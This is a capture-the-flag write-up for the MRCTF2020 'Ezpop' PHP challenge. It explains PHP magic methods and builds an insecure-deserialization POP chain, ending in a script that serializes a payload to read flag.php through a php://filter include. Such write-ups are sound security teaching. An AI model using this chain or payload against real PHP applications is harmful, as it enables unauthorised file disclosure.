[MRCTF2020]Ezpop (buu)

1、魔术方法介绍

1)__invoke(),

当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。

class Person
{
    public $sex;
    public $name;
    public $age;
    public function __construct($name="",  $age=25, $sex='男')
    {
        $this->name = $name;
        $this->age  = $age;
        $this->sex  = $sex;
    }
    public function __invoke() {
        echo '这可是一个对象哦';
    }
}
$person = new Person('小明'); // 初始赋值
$person();   //以函数的方式调用了$person对象,因此输出 结果为    ‘这可是一个对象哦’

2)__construct

使用new实例化一个对象是会自动调用

class Person
{
    public $sex;
    public $name;
    public $age;
    public function __construct($name="",  $age=25, $sex='男')
    {
        $this->name = $name;
        $this->age  = $age;
        $this->sex  = $sex;
    }
}
$person = new Person('小明'); // 初始赋值,$name的值就会赋值为'小明'

3)__toString

当直接输出对象的时候自动调用,例如使用echo来输出;

<?php 
class Person
{
    public $sex;
    public $name;
    public $age;
    public function __construct($name='', $age=25, $sex='男')
    {
        $this->name = $name;
        $this->age = $age;
        $this->sex = $sex;
    }
    public function __toString()
    {
        return '姓名:'.$this->name.',年龄:'.$this->age.',性别:'.$this->sex;
    }
}
$person = new Person('1jzz');
echo $person;
?>

4)__get

可以用于访问私有属性

<?php 
class Person
{
    public $sex = '男';
    public $name = '1jzz';
    private $age='18';
    public function __get($name)
    {
        echo $name.$this->age;
    }
}
$person = new Person();
echo $person->age; //可以调用__get方法来访问Person类中的私有属性age,并且格式为$name.$this->age
?>

5)__wakeup()

对对象进行反序列化时调用该函数

6)__sleep

对对象进行序列化时调用该参数

 

2、思路:

提示中说明了flag在flag.php,并且在Modifier类中出现了include,可能可以使用文件包含用伪协议将flag.php的内容读取

 

1)通过get传递序列化Show对象参数$pop,此时会对$pop变量进行反序列化从而调用__wakeup()函数

2)可以看到类Show的函数__construct对变量$this->source进行echo输出,如果这里的变量$this->source为Show对象的话,那么就会调用函数_toString

3)__toString函数返回了一个变量$this->str->soucre,此时类Test中存在__get函数,我们可以将$this->str赋值为一个Test对象,而Test类中并没有source这个变量,因此将会调用__get函数

4)类Modifier中存在__invoke函数,可以第三步中类Test的__get函数将$$this->p传递给$function并且return $function(),只要将$this->p赋值为一个Modifier对象,那么就会返回一个Modifier类对象的函数,将会调用Modifier类中的__invoke函数

5)__invoke函数调用了append函数,只要将变量$var的内容设为我们需要包含的文件伪协议读取命令就可以了

 

payload:

<?php 
class Modifier {
    protected  $var = 'php://filter/convert.base64-encode/resource=flag.php';
    
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
    }
    
}

class Test{
    public $p;
    
}

$b = new Show();
$b->str = new Test();
$b->str->p = new Modifier;
$a = new Show($b);

echo urlencode(serialize($a));
?>

 

posted @ 2021-04-19 19:50  1jzz  阅读(184)  评论(0编辑  收藏  举报